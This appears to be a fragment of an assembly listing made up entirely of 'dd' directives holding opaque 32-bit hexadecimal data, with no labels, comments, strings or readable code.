dd 3F35D1D7h, 0B0EED6h, 9ABE6054h, 0D5C5911Bh, 6A814900h
dd 59A46407h, 0E7A03ECh, 0D4B270BBh, 557B42C8h, 0C3308C1Dh
dd 7F7534CFh, 864082C0h, 343D376h, 9BB75F01h, 4CF851E4h
dd 947A1179h, 5E0D5013h, 92690000h, 9F2E703h, 16093253h
dd 0BF2BD021h, 889A4065h, 8F008C92h, 3193DF5Fh, 2D57854h
dd 50F40F08h, 1448476Fh, 64608748h, 6E8B0DE0h, 297E454h
dd 261EDF45h, 0EC82F7F4h, 0B301EBBEh, 3883311Bh, 83205658h
dd 51A7D8F0h, 9402672Ah, 0B7447E0Eh, 7C622014h, 0CAB5D0h
dd 3AB06478h, 0E715401Fh, 1AD8C91Eh, 0F8B4630h, 0AF9B062Dh
dd 6846C39Eh, 40F0FB1Ch, 0F1C4C0C1h, 66E04D24h, 0F9FE00ECh
dd 0C9F49771h, 0D8A40907h, 0AE3E9B00h, 0E0DEC35Ah, 0DD5E01F2h
dd 0CAEA6A1Fh, 8399800Bh, 87492373h, 0E1F1C05Ch, 4CE364C8h
dd 0EB7911C0h, 1343F9h, 0BBC439D6h, 0F6C9D754h, 0CA2B2005h
dd 98C0E6A7h, 391E4F0Eh, 0D63BF3C0h, 0A0318C8h, 627E151Bh
dd 583940E0h, 870388EAh, 0BCFE8DEh, 2564E119h, 80AE044Eh
dd 2ADA8FF3h, 660F0151h, 26356853h, 1AE1EFC3h, 3018BC2Ch
dd 905331CDh, 2F623C4Ah, 0BF173A00h, 0F22BA71Fh, 0C3095703h
dd 1346844h, 9FACD840h, 0E1BDCA12h, 0ECA710C4h, 33280FA8h
dd 17617297h, 0D43D76F1h, 1E6F8A75h, 0EAC18099h, 60C687E0h
dd 5934218Fh, 7030E879h, 57FB824h, 0C9D002Eh, 8AA69462h
dd 9B1F9A81h, 0CD81DDF6h, 0C1462A17h, 0FA24B000h, 0A574EA00h
dd 987779B5h, 0BBB100DDh, 32A15A4h, 2700BAFDh, 8D0AE738h
dd 7C1C78B3h, 0F0490C2Dh, 0B11860D7h, 31AF835Ch, 7A0185Eh
dd 0E2700FEh, 3C133790h, 0B8059A74h, 9C012B1Eh, 406F18C7h
dd 0D38AB851h, 70852CC1h, 20FFF696h, 89C7C6B0h, 1D00B8A6h
dd 0CA424E9Eh, 3E11A034h, 3500C32Bh, 24656A73h, 9A00FD50h
dd 0AECEA22h, 79C46h, 0C0588B08h, 17F5EFBh, 4FFFF105h
dd 0E0086FC6h, 349CD2h, 0D0EACCBBh, 90C0E56Eh, 0A9FBF8B8h
dd 26A301A5h, 90D3B014h, 4BA88067h, 0EDEBDB88h, 0DCA5010Ah
dd 7F2973E6h, 4407F047h, 855380A0h, 360FD103h, 8048BC68h
dd 901B84h, 5E143B16h, 67E4754Eh, 0AF52F70Eh, 0A50B007Bh
dd 600E93B9h, 0AA01FCB4h, 0D9F81D6Ah, 0A0664502h, 4D22921Ah
dd 0BF614068h, 0D266D6Bh, 2709DA7Bh, 401820CDh, 129DAF44h
dd 0BA33Ch, 82346450h, 40C16599h, 6967F047h, 21FCD092h
dd 20C1A744h, 11CA1D8Eh, 4401CC39h, 92975C6h, 89885DDh
dd 97432134h, 0AD404E0Fh, 36807BAh, 9FAF6780h, 0B90E0F0Bh
dd 0D380C5DCh, 96D931Eh, 7A05B9C0h, 1CB3C301h, 9908A5AAh
dd 80020842h, 1727621h, 0E85C6Ah, 22108EA6h, 0B27BA549h
dd 0D41AC028h, 77A0410Ch, 1D24C033h, 8989C892h, 1CF3Fh
dd 0C81E7419h, 0A5124A8Ch, 0C8410EFAh, 0FC9D5CCAh, 0A65C3D4h
dd 8E9875D9h, 9306E1Ch, 0A136B439h, 33E38718h, 0C1111800h
dd 0F6995A01h, 0C9273A3Fh, 0B3A1C850h, 8E0D0E48h, 3380A0A5h
dd 1C473CFh, 40897512h, 3B89CC5Ch, 218A9D7h, 2FA444h, 937844C6h
dd 0D7ADF883h, 0B3F40721h, 0C3C4A402h, 0F88E28DAh, 0AB4E4901h
dd 171244CBh, 1EA9420h, 359015B1h, 504D4859h, 9575C0F0h
dd 8C04FC90h, 1BE83D36h, 0D80224D0h, 66AE0014h, 0DC0AA2F5h
dd 2375E1F3h, 3CC1E907h, 1481627Ch, 0C850306Fh, 0FADD869h
dd 2D7E8F2Eh, 9A587400h, 0CCF29F6Ah, 1C849CA2h, 4E9D60DDh
dd 7DC62345h, 80003511h, 0B8714E96h, 3E7336D9h, 0A675000h
dd 375C7F63h, 0C949000Eh, 8EFC1D96h, 94A98C8Fh, 41198316h
dd 9C13804Ah, 678360D0h, 985E4093h, 0E8228B20h, 0DA426DBh
dd 1288206Ch, 22FF3C89h, 9930D974h, 0C641114Eh, 8037889Dh
dd 474E925Ch, 0BE76C6FFh, 0F10B4B0Eh, 80A28AB7h, 0CDC10426h
dd 39804E53h, 9BC219C6h, 7A005D76h, 14BC8159h, 2CA03D1Dh
dd 6014FCD6h, 0F280AD12h, 72554A05h, 0E4244348h, 546C18C8h
dd 3C835h, 2F0CA0F7h, 4EC2CFDDh, 0F3E7A207h, 6ED3CA24h
dd 0A629000Fh, 608DCDE9h, 65024974h, 0C839D4AFh, 0AEB848B3h
dd 0DC1604C5h, 98921ED0h, 10477D0h, 0A472B3C6h, 4B80F837h
dd 821C028Fh, 5D4A01A0h, 0AA4B3B1h, 0A2C672Dh, 2C951ED2h
dd 0C5017840h, 0A59A21B3h, 1704C60h, 0C52C3B7Bh, 941D4870h
dd 4670A98Fh, 0BB28F0DCh, 831E00F9h, 0F26A2327h, 0F42C54C7h
dd 6A4FFC6Dh, 7001E4C5h, 17FF8C60h, 0A8580835h, 444106C7h
dd 380D8453h, 62903890h, 0CDB86C50h, 263A8B4Ch, 0F478C0h
dd 0DD5032ABh, 62EED0Dh, 482F8B14h, 0F84F32A4h, 209B31DBh
dd 6D4CC648h, 9442E0CCh, 3BBA014Eh, 0F8907933h, 0CB9F30CFh
dd 242B3426h, 0A00DE709h, 38767308h, 0B2372454h, 0BAE26048h
dd 0E930C735h, 97E02975h, 36460070h, 0E3899EC4h, 8D00A048h
dd 5DD9DDEBh, 1F64824Fh, 7F43359Ah, 19C672Ah, 3FA03A8Eh
dd 227F21F6h, 344850ECh, 71D6CB31h, 698076E8h, 0E9CC5DF4h
dd 560F221Dh, 0BF7BD371h, 5F840D01h, 2C319E82h, 6079F180h
dd 9F2CB1EBh, 631D8098h, 6E4AB549h, 0A70070E8h, 0F7165EC9h
dd 9A770055h, 0C776ABDDh, 4F5D73BBh, 0FCD30968h, 1600B05h
dd 0C1217538h, 0DCA09981h, 994776C9h, 0D7097FB9h, 35802180h
dd 0D1DBB3F6h, 9B1693F4h, 0A820B67Ah, 26DA44CAh, 84D42AA0h
dd 82B7FD17h, 743091B8h, 0B3C11101h, 801E887Ah, 0ED028C48h
dd 0C4B8F866h, 90238320h, 3E04287Ch, 71E822E8h, 0FE593300h
dd 1C557072h, 0EBA80127h, 0C5DB3EA0h, 0B39C6075h, 34203145h
dd 6022408Fh, 0E483CF0Ah, 960F8475h, 0E87283EFh, 4590108h
dd 8C9CDC41h, 0E7C4F4DEh, 3604C9Ah, 0DC5FCB21h, 0F708004Ch
dd 7E412CBFh, 0A900B142h, 479993AAh, 30CE8D56h, 0AFD936F0h
dd 43FE6CD5h, 29B59E00h, 17FB5271h, 0A883128Ah, 3D549C13h
dd 4A8CB53h, 0C4E3E171h, 1018D480h, 702229D6h, 0DC470158h
dd 18AE8C9Eh, 5DCD8801h, 0F56BDC00h, 2C80C37Fh, 0F4455C2Ah
dd 39389042h, 40EC4326h, 0B8CBB1D0h, 6E98296Fh, 188A0087h
dd 49C635C2h, 490C08C3h, 2D1415Dh, 6789A713h, 0C08F0808h
dd 0B3DF0176h, 1C228A46h, 28E6200h, 7207C7F6h, 0D3250DA8h
dd 33782E84h, 6438E4h, 5A473769h, 0BA4C8h, 78CA831Fh, 45DE614Eh
dd 3F88D002h, 492AC4h, 93590125h, 68F92200h, 61A6CE0Fh
dd 0AB1704D4h, 83419599h, 79B85CA0h, 0F528884Bh, 6D128457h
dd 908014DAh, 48241631h, 5F23940Eh, 78C9C201h, 0DB18F947h
dd 0C8D78689h, 0CAB0FCh, 246376EDh, 8C8B74F7h, 0AE7F8F3Fh
dd 0AEBA846Fh, 0EE126C14h, 1B23402Fh, 0AC441000h, 29651CD4h
dd 809802D0h, 3AEF85BEh, 0E4059243h, 16C738A8h, 0AA4C6180h
dd 612402A3h, 8D7A550Ch, 482CD8E4h, 0DE420041h, 611042AAh
dd 10392727h, 0FA35B400h, 0F0DACEAh, 0E6409E00h, 34E01BD6h
dd 49C4817h, 0A4B6300Fh, 46EC9878h, 4D5AAA0Fh, 0C72766C3h
dd 2F9E0049h, 8EA32CC5h, 0A82EA482h, 400DCE7h, 3B95E8D4h
dd 0D133147Ch, 84C8CA6h, 84CE548h, 5A4E98C0h, 8785C6h
dd 0DD4E9059h, 4F006EE4h, 0F2739DD8h, 59531923h, 2F05B438h
dd 22D0ABB6h, 172FC7C4h, 0DEA92820h, 0D65818B1h, 0BEE80A4h
dd 97FE4100h, 56C36874h, 0B93D6706h, 597C6022h, 99187660h
dd 0E948A11Fh, 0B2C4032Ah, 0AD3412C5h, 33F419A1h, 0C008A788h
dd 861F6167h, 1387C41Fh, 605F2479h, 0A7434200h, 26B3DDCAh
dd 836898BBh, 3BEE2E9Ah, 0CC9088EEh, 0A0011A4Ah, 0CEDB9909h
dd 38C9188Eh, 8AD766C0h, 50EAF935h, 1F2008B8h, 53180AA9h
dd 3C980C28h, 2C89C85Ch, 3B5BEF81h, 0EBB1E4E5h, 0F170CF00h
dd 0F2F09CB9h, 2E572EFFh, 33467C60h, 0B05F5A02h, 4C44B275h
dd 1FFCC67Dh, 87F188C1h, 0A080B0D3h, 28013889h, 8C037EE1h
dd 0F2CD3D66h, 6AA9050Ch, 12075CBAh, 4202AB88h, 4872E88Eh
dd 0DE9090h, 3671D027h, 48B3B713h, 74AB3009h, 2F930EB4h
dd 38205625h, 4F63F047h, 1008584Eh, 0B3806FABh, 0C828FDD3h
dd 4CB178h, 0A0172CBCh, 46094557h, 846DE6BBh, 3484DFB0h
dd 90C0A088h, 0E98E2470h, 0D40069FCh, 3D7E8C98h, 1891FC91h
dd 0DC722703h, 82EF75DEh, 0ACE0E340h, 633088CDh, 0FDA2F81Fh
dd 1CAA006Dh, 0BE346058h, 849E3CCBh, 4CF09700h, 378BAF39h
dd 0EBC136D7h, 0F0440404h, 0B0A18D04h, 1D9C7411h, 69BF88h
dd 0B1DA7A7Fh, 91DB8005h, 5CFCBA2Ch, 890C998Fh, 0EB2C2E0Bh
dd 827882B9h, 0A00429E9h, 0C9DE605Bh, 0D9472174h, 0F63782C0h
dd 5D1A00C1h, 0BD0EF2C8h, 3600BC70h, 0E7D8E0D2h, 6027DBF0h
dd 4F7F31CBh, 5901320Dh, 54C44D12h, 18200234h, 757A28E4h
dd 19922090h, 73801099h, 29EB09F1h, 8BE800E1h, 157DC4C3h
dd 0DF3A3D56h, 75AD06A2h, 29314D88h, 8394B916h, 65079C37h
dd 1FBA8101h, 640C10D1h, 2543CC20h, 0D4A6DB89h, 15F948C0h
dd 2B368C04h, 404E9A30h, 1195C623h, 935F0036h, 536E2D4Eh
dd 0EB7B0EA6h, 3FCA8848h, 0C47402E0h, 44608F0Eh, 0E34F9849h
dd 820BDC05h, 0A6664000h, 0D5063C9Ch, 6FBCCC50h, 0B887971Eh
dd 0E7F37147h, 355031E0h, 2944672Bh, 3CC480EEh, 6001A894h
dd 0F604D8E1h, 0EBF1773Bh, 65E4A9E1h, 0A4709CFFh, 9F133CBAh
dd 2F185770h, 3523FCh, 83217DAFh, 0D200473Ch, 0B6DA1608h
dd 560A15Ah, 8235A4C9h, 3AD4536Bh, 3D823E4h, 45B32D9Ch
dd 0D5C6F789h, 7C66A883h, 408B0512h, 54D20853h, 0E4F065D3h
dd 857D601Fh, 0C490B0Fh, 4427FBE1h, 778C7EEEh, 0B32E8A29h
dd 0A7844C24h, 0FCE0DFF3h, 27BAA045h, 0F2789008h, 1F3A4ECCh
dd 0F44C06FCh, 0EA001803h, 6F0A41E5h, 58FD1B28h, 0EAE94464h
dd 58A930h, 0C4A366CDh, 0BDF6C65Ch, 7779A603h, 0A4E8365Ah
dd 7AFB18D0h, 4A50032Dh, 84CB879Eh, 429B96B0h, 0FC5C9102h
dd 90C635C7h, 0B68BCDC4h, 77428108h, 6E69397Fh, 0D4C097F1h
dd 41B1418h, 0B00FE048h, 91126CDBh, 32E8A898h, 107C195Ch
dd 6C299A19h, 0D99F370Ch, 7361E869h, 0EAC2A8A1h, 1FF2A2E8h
dd 815D391Dh, 8E64B1FFh, 0FB428EFh, 449F3176h, 0A4969B83h
dd 205C4980h, 79C9C580h, 448CE147h, 309085D6h, 6605332h
dd 5C4A4Fh, 4B6E93D0h, 70D8009Fh, 20BCFE76h, 0DF007AE9h
dd 8F5182AAh, 22CE8EDDh, 757A1A88h, 0D8060B1h, 67BFE96Ch
dd 7E5FA65h, 333529ACh, 9A6E3087h, 4903B2DDh, 83B7593Dh
dd 8C1796Bh, 0CC26725Fh, 94277680h, 70983A3Fh, 0A15916F5h
dd 9080095h, 8B34C668h, 4C44074Fh, 460F2E61h, 18094386h
dd 0DAE17BEBh, 44F1E408h, 0D6AB008h, 4674EC49h, 0B7D10F37h
dd 9CCAE97h, 0A71485DCh, 2C8ED8C5h, 88C03AC8h, 0F2B8A8Fh
dd 0BDFE137Eh, 0EE7F002h, 0FA10A8A0h, 6100CD23h, 787350EAh
dd 90DEB0h, 0B6F18BEBh, 7F634396h, 7DC5616h, 6A88C8DEh
dd 5B1847D6h, 4755C6Eh, 0FBCE18E2h, 587CC07Eh, 0DCA8D026h
dd 4A739FB1h, 0E300E190h, 4DAEE5EBh, 25EF061h, 0EF98ED7Ch
dd 50597322h, 9FDC4681h, 620EA68Ch, 700FDCECh, 2FB7287Ch
dd 0C06B4CA8h, 28CD4BCh, 0B3052F3Eh, 0C8809818h, 34780B09h
dd 2849834Bh, 20D20BFFh, 0C146CAD0h, 478714F1h, 0C409ACADh
dd 0B06DD601h, 0ACB10160h, 79CE09Fh, 593A6331h, 0FF44E23Bh
dd 0EE17E4E8h, 0A2A8F325h, 40368824h, 0BE63518Ch, 68ADF868h
dd 81AFD01Fh, 32FF4E7h, 9022E86Ch, 0ABD7D3E0h, 0AADEE0FDh
dd 4632C100h, 23318D5Dh, 3A75038Bh, 0D96E63D3h, 0C464ACF8h
dd 601ED613h, 1AC464CBh, 36C3025h, 4AA014F2h, 4224D463h
dd 1C435470h, 40C5D710h, 6941BC80h, 39C25C41h, 7416019h
dd 64408095h, 539031B9h, 0EDC420DEh, 887C9B34h, 1E89C031h
dd 0CB4C042Dh, 447F2488h, 1D3467Ch, 0E0EDE51Fh, 0BEF02641h
dd 76A55E8Fh, 4A44A088h, 0BFB00C7h, 277BB73Fh, 57E8930h
dd 0F4D4CA00h, 9737EF14h, 739D1DEDh, 8F7200D3h, 0C1F5C63Fh
dd 9575C204h, 0E240CE26h, 0D942A111h, 41C6A700h, 59BAC885h
dd 437D09C2h, 0B4817F71h, 0DA9E63D4h, 37799871h, 0B300BF18h
dd 3ECF9F2Fh, 92066D8Bh, 0B6D80054h, 6279B199h, 12770D0Ah
dd 34BA8D00h, 6DA1912Fh, 510B04AEh, 0B090DBB1h, 7A169AB8h
dd 688C2FE7h, 0EE9F0BAEh, 14660537h, 8C4B22F2h, 0DC438030h
dd 8C4EF49Ah, 59C910E1h, 923700DCh, 5ED9B152h, 7301EAECh
dd 34C5F26Ah, 0C440301Bh, 18C636EEh, 1032B854h, 0A20014ECh
dd 528BFE6Eh, 4F992A4h, 861672A9h, 2194E0EBh, 0EC8C08BCh
dd 0B607009h, 938EDBF6h, 0CD80007Fh, 48C5AF17h, 7E0C48FBh
dd 0EAA1F690h, 3347E003h, 0C86322F1h, 0ABC78145h, 0DC0FF8B4h
dd 5C8CB4D0h, 4618F5h, 0DFF47ECFh, 0ED1BD46Ah, 3C1AC6F2h
dd 70E96DFBh, 50374690h, 0C629437Ch, 5EC4F88Dh, 7067800Fh
dd 0DD400E2Bh, 2603E3EAh, 0B38E1416h, 0AA34C8h, 1DEA7F6h
dd 0A603838Dh, 581184B9h, 75C9479Dh, 0DAC49847h, 0C0DE8145h
dd 0A0DC8E94h, 0A6A41C13h, 0AEEEAC00h, 3EF9C459h, 0A061F00Ah
dd 8407838Ah, 1AA54169h, 0E04F0CC1h, 15391820h, 0D0EDD7E5h
dd 0D091F10Bh, 51CF40E5h, 0E7B4E280h, 45013317h, 9FA82312h
dd 8724349h, 2EB1EA05h, 3EB8C8E7h, 0F5B97900h, 55C4B51Fh
dd 8C62054Ah, 0E2CCC5CBh, 0B4812024h, 34656CCh, 0FA25340Eh
dd 3F819B00h, 0D1150562h, 0FD83253h, 20B0D04Dh, 58099F49h
dd 0AD811E8Bh, 699EC7CFh, 0C637299h, 80491440h, 14C0434Ah
dd 2D5A145h, 0CDE4AB96h, 24516FF0h, 0EF3F1B91h, 63567004h
dd 8040B85Fh, 0E21B55DFh, 0D0B0001Fh, 9574F1BBh, 7A4A9389h
dd 5ADFB4C1h, 7304FC6Ch, 173AC6F6h, 3C880CAh, 4BD81DC0h
dd 7430251h, 8D7A6344h, 4818A064h, 8FA90B47h, 0C6732487h
dd 6333844Ch, 0FA808907h, 4204206Ch, 468C9BDCh, 26201F62h
dd 0DBDC5Bh, 0FE50D9B3h, 74D3B27Dh, 4BE00850h, 94D58800h
dd 0ADFA0AEDh, 1160BEFEh, 1718090h, 4242B3DCh, 8965C0A5h
dd 2D467502h, 2050CECCh, 1184425h, 288BEA98h, 25B102F8h
dd 0E881FC83h, 0BC3289CDh, 80452A41h, 72ABFA00h, 3B82E044h
dd 66C61214h, 20900626h, 9CBEB00Fh, 48EB5B67h, 0F2DF2Ch
dd 0EDBEB728h, 0B2B4A862h, 16D4AC04h, 80C0A509h, 269D6D9Ch
dd 0DCC0EFBAh, 0CC34E600h, 4B0125DDh, 6D5E1815h, 0D998C11Bh
dd 8EEF4400h, 96D21AB6h, 0E00700A3h, 7695F6E2h, 433E479Fh
dd 0C2B06090h, 0AF3D835h, 0DE1BFF64h, 746824F0h, 0EA153246h
dd 2C8BE038h, 61FB2068h
dd 0C547370Fh, 0CB860485h, 771464ACh, 3ECF0FDh, 841E008Ch
dd 4A11C7Ch, 0EB00BD81h, 8C5956E4h, 0CBDFB38Fh, 7884C4C8h
dd 8B4A0F95h, 8C9040E3h, 0BC17956Bh, 5980D611h, 0A63FAC0Eh
dd 6802D409h, 3F08C405h, 67B99481h, 0A358C780h, 0B74CC4F2h
dd 4B5453EEh, 6B001594h, 0CE9FF795h, 0B9132Dh, 0D585247Eh
dd 3D66E49Eh, 6E5F2609h, 72F0844Dh, 77C9DF60h, 97314710h
dd 0BF80D5C8h, 70ADF634h, 7E990243h, 1DEBA3A7h, 0F04EA8FAh
dd 6C9FB8C0h, 94A4A837h, 339B0071h, 0C27C8E15h, 8612181Ch
dd 0F0607B09h, 31D23637h, 97407408h, 90202EF0h, 14F4963h
dd 9E360E25h, 7480CBB1h, 88124740h, 0CCE165BFh, 23F82E2Bh
dd 9C5C0003h, 47902816h, 6F386E17h, 0F3702C90h, 5B941FFFh
dd 19989D06h, 63CE683Dh, 0D1852104h, 2FC5181Fh, 5661D880h
dd 7602253h, 8A9B2874h, 54E817A4h, 0E88D2681h, 0B9B3CCF2h
dd 597823F4h, 0AF009899h, 3435F8C7h, 8060B650h, 237001EAh
dd 0CB079611h, 0C1E406A7h, 8024FFA1h, 4560FCC1h, 0CE893941h
dd 2D699531h, 8341804Ch, 34FED710h, 0B4F65Ch, 0B8CF4593h
dd 0BCD505E6h, 6F303CF2h, 1A043918h, 592600B7h, 82FEE710h
dd 2700B99Dh, 7BDED3F2h, 0B99BBAAEh, 8E7506A0h, 0DB016903h
dd 310D561Eh, 40506549h, 0CAC6D3h, 4695D9CEh, 0ECA8EB68h
dd 0ED4EB700h, 0AEDF9F9Dh, 5634446Ch, 80DD273Dh, 0C3D9EED8h
dd 91F40B4h, 9E052E06h, 6D5CF019h, 195B888h, 0E78F3543h
dd 246CB277h, 7B409FF8h, 8F689965h, 1CC94CC6h, 6382F07Bh
dd 0E076843Ah, 288BD2B4h, 25E755F7h, 8060F883h, 5309583Eh
dd 994BBFA4h, 0F2048020h, 30D9B244h, 2800FAA6h, 77431065h
dd 16813B6h, 8F4E839h, 619FBFBEh, 0C7ECF4E8h, 51A8CF48h
dd 74702FDCh, 0F624826Dh, 8698B32Ah, 71C29D37h, 44F66624h
dd 17D6100Bh, 251A88D0h, 0D28B0C60h, 0CB3C13C5h, 1F5CA418h
dd 0A06CA541h, 808C34BCh, 7EDDB3D0h, 0EAB52E0Ch, 0F685C0DCh
dd 0A3677FB7h, 8A21A160h, 0F0B02661h, 1071F4B9h, 0A25812F2h
dd 0E8991EA0h, 70428110h, 0C2403A1h, 13FF0077h, 4B9BD648h
dd 0DE17B63Bh, 6C741923h, 1A84208Bh, 0ED793025h, 40265AF8h
dd 901B31C8h, 0BC01BF46h, 0A8AD523Dh, 0DC5877CAh, 0F58E09E7h
dd 44046A01h, 7874C86Ch, 9E9EE12Ch, 0F3CD2405h, 0B92DF088h
dd 4A7C0050h, 1CC38D03h, 66F6D607h, 2FBD765h, 0D43B8864h
dd 0EB30BACh, 0B293B401h, 965C74D4h, 8309C090h, 672A1AB8h
dd 60D94428h, 3C0A42h, 540235A3h, 0FF34C7F9h, 0EA05C09Eh
dd 2C2EF6BEh, 0DD00D623h, 0D3B02E7Ch, 0A01769D0h, 0B2D21484h
dd 3003E2E0h, 13EC9FEFh, 0E3F98201h, 0C3B78C79h, 2125A43Ch
dd 0D0A66048h, 0C2B5B100h, 9B42DC98h, 587F0166h, 8BE7F6B7h
dd 78309ECAh, 0FFDBE4C3h, 4951BF8Dh, 919E4044h, 0A3B7C9F1h
dd 350948EEh, 50E8CBBEh, 811099D4h, 3E9EDE48h, 28626Ch
dd 0CD9418E9h, 1338F708h, 0B298E78Bh, 0ACEF1D54h, 35238E40h
dd 0D29913h, 0A196ADF5h, 6E677C71h, 61894302h, 90C135C5h
dd 5E3790B8h, 0AB480332h, 191FD126h, 68C0DF2Ch, 0EA81820Bh
dd 0F02800CFh, 3E71F8F6h, 8C1FDBFBh, 313026D7h, 984AA1EEh
dd 14B9169Ah, 0A03E0047h, 0AC7449EFh, 0CA3C0304h, 0B8ED7E40h
dd 59356000h, 957A9F79h, 65204871h, 5ADE3725h, 94E38028h
dd 0D04E0CF7h, 0A4A2D456h, 60A91D00h, 42AB661Ah, 63BCC800h
dd 57A08BF8h, 0A17FD4h, 7F735AF4h, 0E8B3D8BAh, 5C460A2Eh
dd 0CCB675C3h, 6788ACBCh, 0CBF4F184h, 2B4F80F6h, 241E10D8h
dd 0FAF22BC0h, 9C2DD966h, 0B8141032h, 5E82033Dh, 17EC08C4h
dd 0F8F2CDB1h, 0B313AF02h, 88E1D8BBh, 0DBB1C840h, 410B402Ch
dd 3796A52Dh, 0F50B0FB0h, 0D391B200h, 5400E735h, 0AACCF02Ah
dd 4C1044C7h, 1BF8686Ah, 23052443h, 404153BEh, 0A5B34FA4h
dd 723F2901h, 44C5026Bh, 2926943Ch, 1D59A459h, 4D008718h
dd 0AA67A08Dh, 9601859h, 0D7CFB176h, 0C6F2E040h, 0F059BBF0h
dd 8C600478h, 40BC3B87h, 0C73ED204h, 0F258B249h, 8AFB3035h
dd 0F1074917h, 0B6362900h, 254D4AA0h, 344535B1h, 0A460D3E4h
dd 0B0027821h, 27984735h, 0C4C06B3Bh, 0D5BCF4F8h, 5FE1008Ch
dd 7F634518h, 0CB130F7Bh, 0DC045DB2h, 0B4A073BCh, 48AB2180h
dd 7B809611h, 92B3CA01h, 6C8AA54Eh, 1734F00h, 14F6AD8Ah
dd 0F9627005h, 84C090E2h, 5A9E1B71h, 4A0C8A69h, 0AD809CDAh
dd 0A3102F77h, 113FD81Dh, 6C538C1Dh, 0EACCE4h, 72BD1EFBh
dd 0C9DD3D63h, 0EE49C560h, 222F620h, 369D43D7h, 94A048ADh
dd 19ACA366h, 0A47A9812h, 94015C94h, 0FEDEBE4Fh, 40289875h
dd 2F8C18ECh, 4844B7E9h, 2E5B4009h, 78FCF319h, 0E5FF4A95h
dd 1BDAE8BFh, 37B84708h, 0FB30B4Bh, 6723D802h, 602D3C2Fh
dd 9E6C8070h, 0B65D804Ch, 0ED7DA4F4h, 29733F03h, 0F725C5F3h
dd 34B0E957h, 4AF109D8h, 0C8F88B22h, 12F3C030h, 48EE6F71h
dd 845E353Dh, 0F785CC4h, 2BFF080h, 0D8E009BCh, 0E0847FABh
dd 0AC60B9D3h, 8EFA8Fh, 0DC3FD0Ah, 0C55EF442h, 347B3C12h
dd 0A0D43497h, 0E9424804h, 0CB753EE8h, 4CC4C841h, 30819720h
dd 0E8A553E4h, 6FF0347Ah, 7C809CBCh, 0FA4ECD9Dh, 70F200B3h
dd 7757F92Bh, 673D4BA2h, 64AC8068h, 0E983B11Eh, 5EF4A2A1h
dd 0D6465E94h, 11776B00h, 0BB10D9E3h, 4AC99E05h, 10AC724Fh
dd 0C77EB201h, 6C3C07F3h, 5318040Ch, 9CC891C4h, 5C058C89h
dd 768C99DCh, 0C1DC00A2h, 4979DC75h, 0BF1ED04Ch, 5F0C6C00h
dd 3A2887F0h, 8789650h, 990032B4h, 0AA667972h, 9F1C07CAh
dd 0A0078B9Eh, 0CE5D8E25h, 980A8C2Ah, 3CC64509h, 0C794611Fh
dd 7611C824h, 28C500B8h, 62B5FBE3h, 7F5C4832h, 0C3E78064h
dd 6F17BA79h, 78CBD837h, 1640C67h, 70009763h, 0B680D63Ch
dd 59A5CE8Dh, 0BF8164DDh, 0C60EB8FBh, 9181F871h, 0DC93E62Ch
dd 7D80247Dh, 90E48D89h, 2C52F626h, 1B3A6340h, 0AC1F0A4h
dd 58ABE5EAh, 0A2324EB8h, 0ACD90320h, 0F08F9C59h, 56B50FAh
dd 481AE1A3h, 0C568C84Eh, 9F775C05h, 0C0B2D0DDh, 0D5301FE2h
dd 473C02DEh, 0AF87E7F6h, 0C481B0DBh, 0E6CDF0B1h, 34120C2Dh
dd 9F502383h, 9258BDF5h, 3323D02Eh, 8FFE7200h, 9BA4F26Ah
dd 0DF3A701Ch, 89E4B53Bh, 106C1CC7h, 7E0792C0h, 3FA0029h
dd 42D4A18Ch, 47FE7F33h, 0A8000B76h, 43CBE25Ch, 0B58CCD7Eh
dd 7AD4D490h, 830BDB90h, 222A652Ch, 79316374h, 8024BF4h
dd 0A100DEF7h, 39D611DBh, 80CA332Eh, 30648E34h, 0E78C8F05h
dd 60E2AB07h, 0A74CB6D2h, 10994C65h, 236C2F3Ah, 0E0B600DCh
dd 6FE61C8Eh, 0C7A2B92Dh, 6002C4D8h, 0F2C094Ch, 88793357h
dd 80769854h, 8C13838Dh, 0A0A32A16h, 0AF30D4A2h, 8BA03E48h
dd 9189C052h, 1CE4C0C5h, 0DB41AD61h, 27EDBB90h, 1EF3109h
dd 0E134482Ch, 0CB1201B5h, 58922882h, 345E2F26h, 1F5D4C00h
dd 4E3FCDDh, 40C1FBF7h, 9850C09Eh, 2AF78981h, 8C70482Fh
dd 0D6FE5500h, 916122B6h, 0E4C1022Dh, 7123E0F1h, 4AAF2C5Bh
dd 1F459B8h, 0ACCF41B4h, 172AD068h, 4BC7C212h, 6F2DB4B3h
dd 255DBCA0h, 9F0087A5h, 8885726Ch, 0FFB9CCEh, 664AA0FAh
dd 0BBA10EE1h, 4E04C5Bh, 462D7122h, 0C9C30246h, 0F4D1477Bh
dd 0D8835818h, 0D30095F2h, 0AF8ED918h, 5CC254E4h, 5FCBEC07h
dd 32005CE4h, 89A5BF03h
dd 77833EDh, 0D9AC5434h, 18B940Eh, 61E93175h, 9746E2Fh
dd 530189B0h, 181E5920h, 31A9003Fh, 0DEB609ECh, 7B0740A0h
dd 7F490C8Eh, 92CC1999h, 40070C60h, 0B0907BCDh, 0D816722Eh
dd 622F8F1Fh, 0DCE054C4h, 0C4968100h, 0DBEB1970h, 2B87138Fh
dd 0C900DCA6h, 2107A203h, 0D9F1E77Ah, 0EC93A3AFh, 0DDFC916Dh
dd 2C5D85Ch, 9D7E7B01h, 8ACEB207h, 2A3C4B3Eh, 4E1820C8h
dd 1CD3F509h, 61EC406Fh, 0DC9A00F0h, 0BBCE51BEh, 43498983h
dd 10A70288h, 0D42D1D3Fh, 2F1FBF10h, 0BE19001Ah, 0EC40D542h
dd 9961FCBEh, 6C32C017h, 0C8E08A93h, 2BFC7D5h, 0E8715189h
dd 786D3F00h, 3C55D5h, 0FF44971h, 734B2333h, 8B8DA401h
dd 68CBB062h, 972CF83Ch, 0EC35A548h, 0D2B87E81h, 5B61D326h
dd 149B4E4h, 2EB14235h, 6AE38847h, 7BD2DC0Bh, 7F935804h
dd 73006E78h, 0C252600Fh, 0D4B56FFh, 0EDD4C488h, 0C06B6F58h
dd 0FB01683Ch, 0DA33C4AAh, 88162B48h, 0A1DD5C0Bh, 60B324C0h
dd 2CDE434h, 436725BDh, 0CCDC045Ch, 40003524h, 4CE80153h
dd 90D86B88h, 2D18CF1h, 3D03AC18h, 951D54FBh, 3FBBE1AAh
dd 0B49C81FAh, 6023938Eh, 34FF403h, 0F298A49Bh, 802CCDFh
dd 4845C460h, 3F68D9AFh, 30E7EEFCh, 7721F4D6h, 731D3598h
dd 591A618Fh, 4107830h, 714317CDh, 0B890AD50h, 7273F6B1h
dd 4EA30026h, 589EB802h, 1950E879h, 1D005514h, 73C28E48h
